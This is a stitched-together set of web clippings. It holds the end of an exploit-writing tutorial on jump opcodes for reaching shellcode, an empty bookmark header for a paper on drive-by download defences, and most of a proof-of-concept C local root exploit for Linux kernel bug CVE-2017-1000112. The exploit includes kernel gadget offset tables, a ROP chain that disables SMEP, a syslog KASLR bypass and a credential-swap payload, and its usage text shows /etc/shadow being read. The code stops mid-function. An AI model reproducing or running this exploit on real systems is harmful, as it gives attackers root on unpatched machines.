execution, this technique may not work every time.

So, in order to ** _hardcode addresses_** or offsets of a register, you simply
need to find the opcode that will do the jump, and then use that opcode in the
smaller “first”/stage1 buffer, in order to jump to the real shellcode.

You should know by now how to find the opcode for assembler instructions, so
I’ll stick to 2 examples :

1\. jump to 0x12345678

[code]

    0:000> a
    7c90120e jmp 12345678
    jmp 12345678
    7c901213 
    
    0:000> u 7c90120e
    ntdll!DbgBreakPoint:
    7c90120e e96544a495      jmp     12345678
    
[/code]

=> opcode is 0xe9,0x65,0x44,0xa4,0x95

2\. jump to ebx+124h

[code]

    0:000> a
    7c901214 add ebx,124
    add ebx,124
    7c90121a jmp ebx
    jmp ebx
    7c90121c 
    
    0:000> u 7c901214
    ntdll!DbgUserBreakPoint+0x2:
    7c901214 81c324010000    add     ebx,124h
    7c90121a ffe3            jmp     ebx
    
[/code]

=> opcodes are 0x81,0xc3,0x24,0x01,0x00,0x00 \(add ebx 124h\) and 0xff,0xe3
\(jmp ebx\)

### Short jumps & conditional jumps

In the event you need to jump over just a few bytes, then you can use a couple
‘short jump’ techniques to accomplish this :

\- a short jump : \(jmp\) : opcode 0xeb, followed by the number of bytes

So if you want to jump 30 bytes, the opcode is 0xeb,0x1e

\- a conditional \(short/near\) jump : \(“jump if condition is met”\) : This
technique is based on the states of one or more of the status flags in the
EFLAGS register \(CF,OF,PF,SF and ZF\). If the flags are in the specified
state \(condition\), then a jump can be made to the target instruction
specified by the destination operand. This target instruction is specified
with a relative offset \(relative to the current value of EIP\).

Example : suppose you want to jump 6 bytes : Have a look at the flags
\(ollydbg\), and depending on the flag status, you can use one of the opcodes
below

Let’s say the Zero flag is 1, then you can use opcode 0x74, followed by the
number of bytes you want to jump \(0x06 in our case\)

This is a little table with jump opcodes and flag conditions :

**Code**| **Mnemonic**| **Description**  
---|---|---  
77 cb| JA rel8| Jump short if above \(CF=0 and ZF=0\)  
73 cb| JAE rel8| Jump short if above or equal \(CF=0\)  
72 cb| JB rel8| Jump short if below \(CF=1\)  
76 cb| JBE rel8| Jump short if below or equal \(CF=1 or ZF=1\)  
72 cb| JC rel8| Jump short if carry \(CF=1\)  
E3 cb| JCXZ rel8| Jump short if CX register is 0  
E3 cb| JECXZ rel8| Jump short if ECX register is 0  
74 cb| JE rel8| Jump short if equal \(ZF=1\)  
7F cb| JG rel8| Jump short if greater \(ZF=0 and SF=OF\)  
7D cb| JGE rel8| Jump short if greater or equal \(SF=OF\)  
7C cb| JL rel8| Jump short if less \(SF<>OF\)  
7E cb| JLE rel8| Jump short if less or equal \(ZF=1 or SF<>OF\)  
76 cb| JNA rel8| Jump short if not above \(CF=1 or ZF=1\)  
72 cb| JNAE rel8| Jump short if not above or equal \(CF=1\)  
73 cb| JNB rel8| Jump short if not below \(CF=0\)  
77 cb| JNBE rel8| Jump short if not below or equal \(CF=0 and ZF=0\)  
73 cb| JNC rel8| Jump short if not carry \(CF=0\)  
75 cb| JNE rel8| Jump short if not equal \(ZF=0\)  
7E cb| JNG rel8| Jump short if not greater \(ZF=1 or SF<>OF\)  
7C cb| JNGE rel8| Jump short if not greater or equal \(SF<>OF\)  
7D cb| JNL rel8| Jump short if not less \(SF=OF\)  
7F cb| JNLE rel8| Jump short if not less or equal \(ZF=0 and SF=OF\)  
71 cb| JNO rel8| Jump short if not overflow \(OF=0\)  
7B cb| JNP rel8| Jump short if not parity \(PF=0\)  
79 cb| JNS rel8| Jump short if not sign \(SF=0\)  
75 cb| JNZ rel8| Jump short if not zero \(ZF=0\)  
70 cb| JO rel8| Jump short if overflow \(OF=1\)  
7A cb| JP rel8| Jump short if parity \(PF=1\)  
7A cb| JPE rel8| Jump short if parity even \(PF=1\)  
7B cb| JPO rel8| Jump short if parity odd \(PF=0\)  
78 cb| JS rel8| Jump short if sign \(SF=1\)  
74 cb| JZ rel8| Jump short if zero \(ZF = 1\)  
0F 87 cw/cd| JA rel16/32| Jump near if above \(CF=0 and ZF=0\)  
0F 83 cw/cd| JAE rel16/32| Jump near if above or equal \(CF=0\)  
0F 82 cw/cd| JB rel16/32| Jump near if below \(CF=1\)  
0F 86 cw/cd| JBE rel16/32| Jump near if below or equal \(CF=1 or ZF=1\)  
0F 82 cw/cd| JC rel16/32| Jump near if carry \(CF=1\)  
0F 84 cw/cd| JE rel16/32| Jump near if equal \(ZF=1\)  
0F 84 cw/cd| JZ rel16/32| Jump near if 0 \(ZF=1\)  
0F 8F cw/cd| JG rel16/32| Jump near if greater \(ZF=0 and SF=OF\)  
0F 8D cw/cd| JGE rel16/32| Jump near if greater or equal \(SF=OF\)  
0F 8C cw/cd| JL rel16/32| Jump near if less \(SF<>OF\)  
0F 8E cw/cd| JLE rel16/32| Jump near if less or equal \(ZF=1 or SF<>OF\)  
0F 86 cw/cd| JNA rel16/32| Jump near if not above \(CF=1 or ZF=1\)  
0F 82 cw/cd| JNAE rel16/32| Jump near if not above or equal \(CF=1\)  
0F 83 cw/cd| JNB rel16/32| Jump near if not below \(CF=0\)  
0F 87 cw/cd| JNBE rel16/32| Jump near if not below or equal \(CF=0 and ZF=0\)  
0F 83 cw/cd| JNC rel16/32| Jump near if not carry \(CF=0\)  
0F 85 cw/cd| JNE rel16/32| Jump near if not equal \(ZF=0\)  
0F 8E cw/cd| JNG rel16/32| Jump near if not greater \(ZF=1 or SF<>OF\)  
0F 8C cw/cd| JNGE rel16/32| Jump near if not greater or equal \(SF<>OF\)  
0F 8D cw/cd| JNL rel16/32| Jump near if not less \(SF=OF\)  
0F 8F cw/cd| JNLE rel16/32| Jump near if not less or equal \(ZF=0 and SF=OF\)  
0F 81 cw/cd| JNO rel16/32| Jump near if not overflow \(OF=0\)  
0F 8B cw/cd| JNP rel16/32| Jump near if not parity \(PF=0\)  
0F 89 cw/cd| JNS rel16/32| Jump near if not sign \(SF=0\)  
0F 85 cw/cd| JNZ rel16/32| Jump near if not zero \(ZF=0\)  
0F 80 cw/cd| JO rel16/32| Jump near if overflow \(OF=1\)  
0F 8A cw/cd| JP rel16/32| Jump near if parity \(PF=1\)  
0F 8A cw/cd| JPE rel16/32| Jump near if parity even \(PF=1\)  
0F 8B cw/cd| JPO rel16/32| Jump near if parity odd \(PF=0\)  
0F 88 cw/cd| JS rel16/32| Jump near if sign \(SF=1\)  
0F 84 cw/cd| JZ rel16/32| Jump near if 0 \(ZF=1\)  
As you can see in the table, you can also do a short jump based on register
ECX being zero. One of the Windows SEH protections \(see part 3 of the
tutorial series\) that have been put in place is the fact that registers are
cleared when an exception occurs. So sometimes you will even be able to use
0xe3 as jump opcode \(if ECX = 00000000\)

**Note : You can find more/other information about making 2 byte jumps
\(forward and backward/negative jumps\)
athttp://www.geocities.com/thestarman3/asm/2bytejumps.htm**

### Backward jumps

In the event you need to perform backward jumps \(jump with a negative
offset\) : get the negative number and convert it to hex. Take the dword hex
value and use that as argument to a jump \(\xeb or \xe9\)

Example : jump back 7 bytes : -7 = FFFFFFF9, so jump -7 would be
"\xeb\xf9\xff\xff"

Exampe : jump back 400 bytes : -400 = FFFFFE70, so jump -400 bytes =
"\xe9\x70\xfe\xff\xff" \(as you can see, this opcode is 5 bytes long.
Sometimes \(if you need to stay within a dword size \(4 byte limit\), then you
may need to perform multiple shorter jumps in order to get where you want to
be\)

> Questions ? Comments ? Tips & Tricks ?
> http://www.corelan.be:8800/index.php/forum/writing-exploits
© 2009, Peter Van Eeckhoutte. **All rights reserved. Terms of Use are
applicable to all content on this blog.**  _If you want to use/reuse parts of
the content on this blog, you must provide a link to the original content on
this blog._

\(Visited 5,299 times, 35 visits today\)

# Defending Browsers against Drive-by Downloads: Mitigating Heap-spraying Code
Injection Attacks

**Created:**| _2/5/2010 9:18:18 AM_  
---|---  
**Updated:**| _2/5/2010 9:18:51 AM_  
**Author:**| __  
**Tags:**| _web-app-sec bookmark Exploit papers web spray_  
  
<img src='img/Temp2_2090' />

# xairy/kernel-exploits

**Created:**| _9/4/2017 9:34:06 AM_  
---|---  
**Updated:**| _9/4/2017 9:34:06 AM_  
**Author:**| _wishi_  
**Tags:**| __  
  

  

1 | // A proof-of-concept local root exploit for CVE-2017-1000112.  
---|---  
2 | // Includes KASLR and SMEP bypasses. No SMAP bypass.  
3 | // Tested on Ubuntu trusty 4.4.0-\* and Ubuntu xenial 4-8-0-\* kernels.  
4 | //  
5 | // Usage:  
6 | // user@ubuntu:~$ uname -a  
7 | // Linux ubuntu 4.8.0-58-generic \#63~16.04.1-Ubuntu SMP Mon Jun 26 18:08:51 UTC 2017 x86\_64 x86\_64 x86\_64 GNU/Linux  
8 | // user@ubuntu:~$ whoami  
9 | // user  
10 | // user@ubuntu:~$ id  
11 | // uid=1000\(user\) gid=1000\(user\) groups=1000\(user\),4\(adm\),24\(cdrom\),27\(sudo\),30\(dip\),46\(plugdev\),113\(lpadmin\),128\(sambashare\)  
12 | // user@ubuntu:~$ gcc pwn.c -o pwn  
13 | // user@ubuntu:~$ ./pwn   
14 | // \[.\] starting  
15 | // \[.\] checking distro and kernel versions  
16 | // \[.\] kernel version '4.8.0-58-generic' detected  
17 | // \[~\] done, versions looks good  
18 | // \[.\] checking SMEP and SMAP  
19 | // \[~\] done, looks good  
20 | // \[.\] setting up namespace sandbox  
21 | // \[~\] done, namespace sandbox set up  
22 | // \[.\] KASLR bypass enabled, getting kernel addr  
23 | // \[~\] done, kernel text: ffffffffae400000  
24 | // \[.\] commit\_creds: ffffffffae4a5d20  
25 | // \[.\] prepare\_kernel\_cred: ffffffffae4a6110  
26 | // \[.\] SMEP bypass enabled, mmapping fake stack  
27 | // \[~\] done, fake stack mmapped  
28 | // \[.\] executing payload ffffffffae40008d  
29 | // \[~\] done, should be root now  
30 | // \[.\] checking if we got root  
31 | // \[+\] got r00t ^\_^  
32 | // root@ubuntu:/home/user\# whoami  
33 | // root  
34 | // root@ubuntu:/home/user\# id  
35 | // uid=0\(root\) gid=0\(root\) groups=0\(root\)  
36 | // root@ubuntu:/home/user\# cat /etc/shadow  
37 | // root:\!:17246:0:99999:7:::  
38 | // daemon:\*:17212:0:99999:7:::  
39 | // bin:\*:17212:0:99999:7:::  
40 | // sys:\*:17212:0:99999:7:::  
41 | // ...  
42 | //  
43 | // Andrey Konovalov <andreyknvl@gmail.com>  
44 |   
45 | \#define \_GNU\_SOURCE  
46 |   
47 | \#include <assert.h>  
48 | \#include <errno.h>  
49 | \#include <fcntl.h>  
50 | \#include <sched.h>  
51 | \#include <stdarg.h>  
52 | \#include <stdbool.h>  
53 | \#include <stdint.h>  
54 | \#include <stdio.h>  
55 | \#include <stdlib.h>  
56 | \#include <string.h>  
57 | \#include <unistd.h>  
58 |   
59 | \#include <linux/socket.h>  
60 | \#include <netinet/ip.h>  
61 | \#include <sys/klog.h>  
62 | \#include <sys/mman.h>  
63 | \#include <sys/utsname.h>  
64 |   
65 | \#define ENABLE\_KASLR\_BYPASS 1  
66 | \#define ENABLE\_SMEP\_BYPASS 1  
67 |   
68 | // Will be overwritten if ENABLE\_KASLR\_BYPASS is enabled.  
69 | unsigned long KERNEL\_BASE = 0xffffffff81000000ul;  
70 |   
71 | // Will be overwritten by detect\_versions\(\).  
72 | int kernel = -1;  
73 |   
74 | struct kernel\_info \{  
75 |  const char\* distro;  
76 |  const char\* version;  
77 |  uint64\_t commit\_creds;  
78 |  uint64\_t prepare\_kernel\_cred;  
79 |  uint64\_t xchg\_eax\_esp\_ret;  
80 |  uint64\_t pop\_rdi\_ret;  
81 |  uint64\_t mov\_dword\_ptr\_rdi\_eax\_ret;  
82 |  uint64\_t mov\_rax\_cr4\_ret;  
83 |  uint64\_t neg\_rax\_ret;  
84 |  uint64\_t pop\_rcx\_ret;  
85 |  uint64\_t or\_rax\_rcx\_ret;  
86 |  uint64\_t xchg\_eax\_edi\_ret;  
87 |  uint64\_t mov\_cr4\_rdi\_ret;  
88 |  uint64\_t jmp\_rcx;  
89 | \};  
90 |   
91 | struct kernel\_info kernels\[\] = \{  
92 |  \{ "trusty", "4.4.0-21-generic", 0x9d7a0, 0x9da80, 0x4520a, 0x30f75, 0x109957, 0x1a7a0, 0x3d6b7a, 0x1cbfc, 0x76453, 0x49d4d, 0x61300, 0x1b91d \},  
93 |  \{ "trusty", "4.4.0-22-generic", 0x9d7e0, 0x9dac0, 0x4521a, 0x28c19d, 0x1099b7, 0x1a7f0, 0x3d781a, 0x1cc4c, 0x764b3, 0x49d5d, 0x61300, 0x48040 \},  
94 |  \{ "trusty", "4.4.0-24-generic", 0x9d5f0, 0x9d8d0, 0x4516a, 0x1026cd, 0x107757, 0x1a810, 0x3d7a9a, 0x1cc6c, 0x763b3, 0x49cbd, 0x612f0, 0x47fa0 \},  
95 |  \{ "trusty", "4.4.0-28-generic", 0x9d760, 0x9da40, 0x4516a, 0x3dc58f, 0x1079a7, 0x1a830, 0x3d801a, 0x1cc8c, 0x763b3, 0x49cbd, 0x612f0, 0x47fa0 \},  
96 |  \{ "trusty", "4.4.0-31-generic", 0x9d760, 0x9da40, 0x4516a, 0x3e223f, 0x1079a7, 0x1a830, 0x3ddcca, 0x1cc8c, 0x763b3, 0x49cbd, 0x612f0, 0x47fa0 \},  
97 |  \{ "trusty", "4.4.0-34-generic", 0x9d760, 0x9da40, 0x4510a, 0x355689, 0x1079a7, 0x1a830, 0x3ddd1a, 0x1cc8c, 0x763b3, 0x49c5d, 0x612f0, 0x47f40 \},  
98 |  \{ "trusty", "4.4.0-36-generic", 0x9d770, 0x9da50, 0x4510a, 0x1eec9d, 0x107a47, 0x1a830, 0x3de02a, 0x1cc8c, 0x763c3, 0x29595, 0x61300, 0x47f40 \},  
99 |  \{ "trusty", "4.4.0-38-generic", 0x9d820, 0x9db00, 0x4510a, 0x598fd, 0x107af7, 0x1a820, 0x3de8ca, 0x1cc7c, 0x76473, 0x49c5d, 0x61300, 0x1a77b \},  
100 |  \{ "trusty", "4.4.0-42-generic", 0x9d870, 0x9db50, 0x4510a, 0x5f13d, 0x107b17, 0x1a820, 0x3deb7a, 0x1cc7c, 0x76463, 0x49c5d, 0x61300, 0x1a77b \},  
101 |  \{ "trusty", "4.4.0-45-generic", 0x9d870, 0x9db50, 0x4510a, 0x5f13d, 0x107b17, 0x1a820, 0x3debda, 0x1cc7c, 0x76463, 0x49c5d, 0x61300, 0x1a77b \},  
102 |  \{ "trusty", "4.4.0-47-generic", 0x9d940, 0x9dc20, 0x4511a, 0x171f8d, 0x107bd7, 0x1a820, 0x3e241a, 0x1cc7c, 0x76463, 0x299f5, 0x61300, 0x1a77b \},  
103 |  \{ "trusty", "4.4.0-51-generic", 0x9d920, 0x9dc00, 0x4511a, 0x21f15c, 0x107c77, 0x1a820, 0x3e280a, 0x1cc7c, 0x76463, 0x49c6d, 0x61300, 0x1a77b \},  
104 |  \{ "trusty", "4.4.0-53-generic", 0x9d920, 0x9dc00, 0x4511a, 0x21f15c, 0x107c77, 0x1a820, 0x3e280a, 0x1cc7c, 0x76463, 0x49c6d, 0x61300, 0x1a77b \},  
105 |  \{ "trusty", "4.4.0-57-generic", 0x9ebb0, 0x9ee90, 0x4518a, 0x39401d, 0x1097d7, 0x1a820, 0x3e527a, 0x1cc7c, 0x77493, 0x49cdd, 0x62300, 0x1a77b \},  
106 |  \{ "trusty", "4.4.0-59-generic", 0x9ebb0, 0x9ee90, 0x4518a, 0x2dbc4e, 0x1097d7, 0x1a820, 0x3e571a, 0x1cc7c, 0x77493, 0x49cdd, 0x62300, 0x1a77b \},  
107 |  \{ "trusty", "4.4.0-62-generic", 0x9ebe0, 0x9eec0, 0x4518a, 0x3ea46f, 0x109837, 0x1a820, 0x3e5e5a, 0x1cc7c, 0x77493, 0x49cdd, 0x62300, 0x1a77b \},  
108 |  \{ "trusty", "4.4.0-63-generic", 0x9ebe0, 0x9eec0, 0x4518a, 0x2e2e7d, 0x109847, 0x1a820, 0x3e61ba, 0x1cc7c, 0x77493, 0x49cdd, 0x62300, 0x1a77b \},  
109 |  \{ "trusty", "4.4.0-64-generic", 0x9ebe0, 0x9eec0, 0x4518a, 0x2e2e7d, 0x109847, 0x1a820, 0x3e61ba, 0x1cc7c, 0x77493, 0x49cdd, 0x62300, 0x1a77b \},  
110 |  \{ "trusty", "4.4.0-66-generic", 0x9ebe0, 0x9eec0, 0x4518a, 0x2e2e7d, 0x109847, 0x1a820, 0x3e61ba, 0x1cc7c, 0x77493, 0x49cdd, 0x62300, 0x1a77b \},  
111 |  \{ "trusty", "4.4.0-67-generic", 0x9eb60, 0x9ee40, 0x4518a, 0x12a9dc, 0x109887, 0x1a820, 0x3e67ba, 0x1cc7c, 0x774c3, 0x49cdd, 0x62330, 0x1a77b \},  
112 |  \{ "trusty", "4.4.0-70-generic", 0x9eb60, 0x9ee40, 0x4518a, 0xd61a2, 0x109887, 0x1a820, 0x3e63ca, 0x1cc7c, 0x774c3, 0x49cdd, 0x62330, 0x1a77b \},  
113 |  \{ "trusty", "4.4.0-71-generic", 0x9eb60, 0x9ee40, 0x4518a, 0xd61a2, 0x109887, 0x1a820, 0x3e63ca, 0x1cc7c, 0x774c3, 0x49cdd, 0x62330, 0x1a77b \},  
114 |  \{ "trusty", "4.4.0-72-generic", 0x9eb60, 0x9ee40, 0x4518a, 0xd61a2, 0x109887, 0x1a820, 0x3e63ca, 0x1cc7c, 0x774c3, 0x49cdd, 0x62330, 0x1a77b \},  
115 |  \{ "trusty", "4.4.0-75-generic", 0x9eb60, 0x9ee40, 0x4518a, 0x303cfd, 0x1098a7, 0x1a820, 0x3e67ea, 0x1cc7c, 0x774c3, 0x49cdd, 0x62330, 0x1a77b \},  
116 |  \{ "trusty", "4.4.0-78-generic", 0x9eb70, 0x9ee50, 0x4518a, 0x30366d, 0x1098b7, 0x1a820, 0x3e710a, 0x1cc7c, 0x774c3, 0x49cdd, 0x62330, 0x1a77b \},  
117 |  \{ "trusty", "4.4.0-79-generic", 0x9ebb0, 0x9ee90, 0x4518a, 0x3ebdcf, 0x1099a7, 0x1a830, 0x3e77ba, 0x1cc8c, 0x774e3, 0x49cdd, 0x62330, 0x1a78b \},  
118 |  \{ "trusty", "4.4.0-81-generic", 0x9ebb0, 0x9ee90, 0x4518a, 0x2dc688, 0x1099a7, 0x1a830, 0x3e789a, 0x1cc8c, 0x774e3, 0x24487, 0x62330, 0x1a78b \},  
119 |  \{ "trusty", "4.4.0-83-generic", 0x9ebc0, 0x9eea0, 0x451ca, 0x2dc6f5, 0x1099b7, 0x1a830, 0x3e78fa, 0x1cc8c, 0x77533, 0x49d1d, 0x62360, 0x1a78b \},  
120 |  \{ "xenial", "4.8.0-34-generic", 0xa5d50, 0xa6140, 0x17d15, 0x6854d, 0x119227, 0x1b230, 0x4390da, 0x206c23, 0x7bcf3, 0x12c7f7, 0x64210, 0x49f80 \},  
121 |  \{ "xenial", "4.8.0-36-generic", 0xa5d50, 0xa6140, 0x17d15, 0x6854d, 0x119227, 0x1b230, 0x4390da, 0x206c23, 0x7bcf3, 0x12c7f7, 0x64210, 0x49f80 \},  
122 |  \{ "xenial", "4.8.0-39-generic", 0xa5cf0, 0xa60e0, 0x17c55, 0xf3980, 0x1191f7, 0x1b170, 0x43996a, 0x2e8363, 0x7bcf3, 0x12c7c7, 0x64210, 0x49f60 \},  
123 |  \{ "xenial", "4.8.0-41-generic", 0xa5cf0, 0xa60e0, 0x17c55, 0xf3980, 0x1191f7, 0x1b170, 0x43996a, 0x2e8363, 0x7bcf3, 0x12c7c7, 0x64210, 0x49f60 \},  
124 |  \{ "xenial", "4.8.0-45-generic", 0xa5cf0, 0xa60e0, 0x17c55, 0x100935, 0x1191f7, 0x1b170, 0x43999a, 0x185493, 0x7bcf3, 0xdfc5, 0x64210, 0x49f60 \},  
125 |  \{ "xenial", "4.8.0-46-generic", 0xa5cf0, 0xa60e0, 0x17c55, 0x100935, 0x1191f7, 0x1b170, 0x43999a, 0x185493, 0x7bcf3, 0x12c7c7, 0x64210, 0x49f60 \},  
126 |  \{ "xenial", "4.8.0-49-generic", 0xa5d00, 0xa60f0, 0x17c55, 0x301f2d, 0x119207, 0x1b170, 0x439bba, 0x102e33, 0x7bd03, 0x12c7d7, 0x64210, 0x49f60 \},  
127 |  \{ "xenial", "4.8.0-52-generic", 0xa5d00, 0xa60f0, 0x17c55, 0x301f2d, 0x119207, 0x1b170, 0x43a0da, 0x63e843, 0x7bd03, 0x12c7d7, 0x64210, 0x49f60 \},  
128 |  \{ "xenial", "4.8.0-54-generic", 0xa5d00, 0xa60f0, 0x17c55, 0x301f2d, 0x119207, 0x1b170, 0x43a0da, 0x5ada3c, 0x7bd03, 0x12c7d7, 0x64210, 0x49f60 \},  
129 |  \{ "xenial", "4.8.0-56-generic", 0xa5d00, 0xa60f0, 0x17c55, 0x39d50d, 0x119207, 0x1b170, 0x43a14a, 0x44d4a0, 0x7bd03, 0x12c7d7, 0x64210, 0x49f60 \},  
130 |  \{ "xenial", "4.8.0-58-generic", 0xa5d20, 0xa6110, 0x17c55, 0xe56f5, 0x119227, 0x1b170, 0x439e7a, 0x162622, 0x7bd23, 0x12c7f7, 0x64210, 0x49fa0 \},  
131 | \};  
132 |   
133 | // Used to get root privileges.  
134 | \#define COMMIT\_CREDS \(KERNEL\_BASE + kernels\[kernel\].commit\_creds\)  
135 | \#define PREPARE\_KERNEL\_CRED \(KERNEL\_BASE + kernels\[kernel\].prepare\_kernel\_cred\)  
136 |   
137 | // Used when ENABLE\_SMEP\_BYPASS is used.  
138 | // \- xchg eax, esp ; ret  
139 | // \- pop rdi ; ret  
140 | // \- mov dword ptr \[rdi\], eax ; ret  
141 | // \- push rbp ; mov rbp, rsp ; mov rax, cr4 ; pop rbp ; ret  
142 | // \- neg rax ; ret  
143 | // \- pop rcx ; ret   
144 | // \- or rax, rcx ; ret  
145 | // \- xchg eax, edi ; ret  
146 | // \- push rbp ; mov rbp, rsp ; mov cr4, rdi ; pop rbp ; ret  
147 | // \- jmp rcx  
148 | \#define XCHG\_EAX\_ESP\_RET \(KERNEL\_BASE + kernels\[kernel\].xchg\_eax\_esp\_ret\)  
149 | \#define POP\_RDI\_RET \(KERNEL\_BASE + kernels\[kernel\].pop\_rdi\_ret\)  
150 | \#define MOV\_DWORD\_PTR\_RDI\_EAX\_RET \(KERNEL\_BASE + kernels\[kernel\].mov\_dword\_ptr\_rdi\_eax\_ret\)  
151 | \#define MOV\_RAX\_CR4\_RET \(KERNEL\_BASE + kernels\[kernel\].mov\_rax\_cr4\_ret\)  
152 | \#define NEG\_RAX\_RET \(KERNEL\_BASE + kernels\[kernel\].neg\_rax\_ret\)  
153 | \#define POP\_RCX\_RET \(KERNEL\_BASE + kernels\[kernel\].pop\_rcx\_ret\)  
154 | \#define OR\_RAX\_RCX\_RET \(KERNEL\_BASE + kernels\[kernel\].or\_rax\_rcx\_ret\)  
155 | \#define XCHG\_EAX\_EDI\_RET \(KERNEL\_BASE + kernels\[kernel\].xchg\_eax\_edi\_ret\)  
156 | \#define MOV\_CR4\_RDI\_RET \(KERNEL\_BASE + kernels\[kernel\].mov\_cr4\_rdi\_ret\)  
157 | \#define JMP\_RCX \(KERNEL\_BASE + kernels\[kernel\].jmp\_rcx\)  
158 |   
159 | // \* \* \* \* \* \* \* \* \* \* \* \* \* \* \* Getting root \* \* \* \* \* \* \* \* \* \* \* \* \* \* \* \*  
160 |   
161 | typedef unsigned long \_\_attribute\_\_\(\(regparm\(3\)\)\) \(\*\_commit\_creds\)\(unsigned long cred\);  
162 | typedef unsigned long \_\_attribute\_\_\(\(regparm\(3\)\)\) \(\*\_prepare\_kernel\_cred\)\(unsigned long cred\);  
163 |   
164 | void get\_root\(void\) \{  
165 |  \(\(\_commit\_creds\)\(COMMIT\_CREDS\)\)\(  
166 |  \(\(\_prepare\_kernel\_cred\)\(PREPARE\_KERNEL\_CRED\)\)\(0\)\);  
167 | \}  
168 |   
169 | // \* \* \* \* \* \* \* \* \* \* \* \* \* \* \* \* SMEP bypass \* \* \* \* \* \* \* \* \* \* \* \* \* \* \* \*  
170 |   
171 | uint64\_t saved\_esp;  
172 |   
173 | // Unfortunately GCC does not support \`\_\_atribute\_\_\(\(naked\)\)\` on x86, which  
174 | // can be used to omit a function's prologue, so I had to use this weird  
175 | // wrapper hack as a workaround. Note: Clang does support it, which means it  
176 | // has better support of GCC attributes than GCC itself. Funny.  
177 | void wrapper\(\) \{  
178 |  asm volatile \(" \n\  
179 |  payload: \n\  
180 |  movq %%rbp, %%rax \n\  
181 |  movq $0xffffffff00000000, %%rdx \n\  
182 |  andq %%rdx, %%rax \n\  
183 |  movq %0, %%rdx \n\  
184 |  addq %%rdx, %%rax \n\  
185 |  movq %%rax, %%rsp \n\  
186 |  call get\_root \n\  
187 |  ret \n\  
188 |  " : : "m"\(saved\_esp\) : \);  
189 | \}  
190 |   
191 | void payload\(\);  
192 |   
193 | \#define CHAIN\_SAVE\_ESP \  
194 |  \*stack++ = POP\_RDI\_RET; \  
195 |  \*stack++ = \(uint64\_t\)&saved\_esp; \  
196 |  \*stack++ = MOV\_DWORD\_PTR\_RDI\_EAX\_RET;  
197 |   
198 | \#define SMEP\_MASK 0x100000  
199 |   
200 | \#define CHAIN\_DISABLE\_SMEP \  
201 |  \*stack++ = MOV\_RAX\_CR4\_RET; \  
202 |  \*stack++ = NEG\_RAX\_RET; \  
203 |  \*stack++ = POP\_RCX\_RET; \  
204 |  \*stack++ = SMEP\_MASK; \  
205 |  \*stack++ = OR\_RAX\_RCX\_RET; \  
206 |  \*stack++ = NEG\_RAX\_RET; \  
207 |  \*stack++ = XCHG\_EAX\_EDI\_RET; \  
208 |  \*stack++ = MOV\_CR4\_RDI\_RET;  
209 |   
210 | \#define CHAIN\_JMP\_PAYLOAD \  
211 |  \*stack++ = POP\_RCX\_RET; \  
212 |  \*stack++ = \(uint64\_t\)&payload; \  
213 |  \*stack++ = JMP\_RCX;  
214 |   
215 | void mmap\_stack\(\) \{  
216 |  uint64\_t stack\_aligned, stack\_addr;  
217 |  int page\_size, stack\_size, stack\_offset;  
218 |  uint64\_t\* stack;  
219 |   
220 |  page\_size = getpagesize\(\);  
221 |   
222 |  stack\_aligned = \(XCHG\_EAX\_ESP\_RET & 0x00000000fffffffful\) & ~\(page\_size - 1\);  
223 |  stack\_addr = stack\_aligned - page\_size \* 4;  
224 |  stack\_size = page\_size \* 8;  
225 |  stack\_offset = XCHG\_EAX\_ESP\_RET % page\_size;  
226 |   
227 |  stack = mmap\(\(void\*\)stack\_addr, stack\_size, PROT\_READ | PROT\_WRITE,  
228 |  MAP\_FIXED | MAP\_ANONYMOUS | MAP\_PRIVATE, -1, 0\);  
229 |  if \(stack == MAP\_FAILED || stack \!= \(void\*\)stack\_addr\) \{  
230 |  perror\("\[-\] mmap\(\)"\);  
231 |  exit\(EXIT\_FAILURE\);  
232 |  \}  
233 |   
234 |  stack = \(uint64\_t\*\)\(\(char\*\)stack\_aligned + stack\_offset\);  
235 |   
236 |  CHAIN\_SAVE\_ESP;  
237 |  CHAIN\_DISABLE\_SMEP;  
238 |  CHAIN\_JMP\_PAYLOAD;  
239 | \}  
240 |   
241 | // \* \* \* \* \* \* \* \* \* \* \* \* \* \* syslog KASLR bypass \* \* \* \* \* \* \* \* \* \* \* \* \* \*  
242 |   
243 | \#define SYSLOG\_ACTION\_READ\_ALL 3  
244 | \#define SYSLOG\_ACTION\_SIZE\_BUFFER 10  
245 |   
246 | void mmap\_syslog\(char\*\* buffer, int\* size\) \{  
247 |  \*size = klogctl\(SYSLOG\_ACTION\_SIZE\_BUFFER, 0, 0\);  
248 |  if \(\*size == -1\) \{  
249 |  perror\("\[-\] klogctl\(SYSLOG\_ACTION\_SIZE\_BUFFER\)"\);  
250 |  exit\(EXIT\_FAILURE\);  
251 |  \}  
252 |   
253 |  \*size = \(\*size / getpagesize\(\) + 1\) \* getpagesize\(\);  
254 |  \*buffer = \(char\*\)mmap\(NULL, \*size, PROT\_READ | PROT\_WRITE,  
255 |  MAP\_PRIVATE | MAP\_ANONYMOUS, -1, 0\);  
256 |   
257 |  \*size = klogctl\(SYSLOG\_ACTION\_READ\_ALL, &\(\(\*buffer\)\[0\]\), \*size\);  
258 |  if \(\*size == -1\) \{  
259 |  perror\("\[-\] klogctl\(SYSLOG\_ACTION\_READ\_ALL\)"\);  
260 |  exit\(EXIT\_FAILURE\);  
261 |  \}  
262 | \}  
263 |   
264 | unsigned long get\_kernel\_addr\_trusty\(char\* buffer, int size\) \{  
265 |  const char\* needle1 = "Freeing unused";  
266 |  char\* substr = \(char\*\)memmem\(&buffer\[0\], size, needle1, strlen\(needle1\)\);  
267 |  if \(substr == NULL\) \{  
268 |  fprintf\(stderr, "\[-\] substring '%s' not found in syslog\n", needle1\);  
269 |  exit\(EXIT\_FAILURE\);  
270 |  \}  
271 |   
272 |  int start = 0;  
273 |  int end = 0;  
274 |  for \(end = start; substr\[end\] \!= '-'; end++\);  
275 |   
276 |  const char\* needle2 = "ffffff";  
277 |  substr = \(char\*\)memmem\(&substr\[start\], end - start, needle2, strlen\(needle2\)\);  
278 |  if \(substr == NULL\) \{  
279 |  fprintf\(stderr, "\[-\] substring '%s' not found in syslog\n", needle2\);  
280 |  exit\(EXIT\_FAILURE\);  
281 |  \}  
282 |   
283 |  char\* endptr = &substr\[16\];  
284 |  unsigned long r = strtoul\(&substr\[0\], &endptr, 16\);  
285 |   
286 |  r &= 0xffffffffff000000ul;  
287 |   
288 |  return r;  
289 | \}  
290 |   
291 | unsigned long get\_kernel\_addr\_xenial\(char\* buffer, int size\) \{  
292 |  const char\* needle1 = "Freeing unused";  
293 |  char\* substr = \(char\*\)memmem\(&buffer\[0\], size, needle1, strlen\(needle1\)\);  
294 |  if \(substr == NULL\) \{  
